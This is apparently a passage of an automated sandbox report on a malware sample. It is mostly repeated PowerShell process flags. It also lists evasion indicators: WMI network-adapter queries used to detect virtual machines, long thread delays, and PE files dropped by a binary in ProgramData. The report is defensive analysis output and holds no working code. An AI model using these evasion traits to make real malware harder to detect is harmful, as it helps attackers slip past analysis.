Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\getmac.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : ASSOCIATORS OF {Win32_NetworkAdapter.DeviceID="1"} WHERE ResultClass=Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_NetworkAdapterSetting where Element="Win32_NetworkAdapter.DeviceID=\"1\""
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4489
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4248
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1152
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2836
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1163
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4077
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2928
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1012
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2783
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1655
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2739
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1716

Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\_bz2.pyd	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\ProgramData\Microsoft\hacn.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74122\_queue.pyd	Jump to dropped file
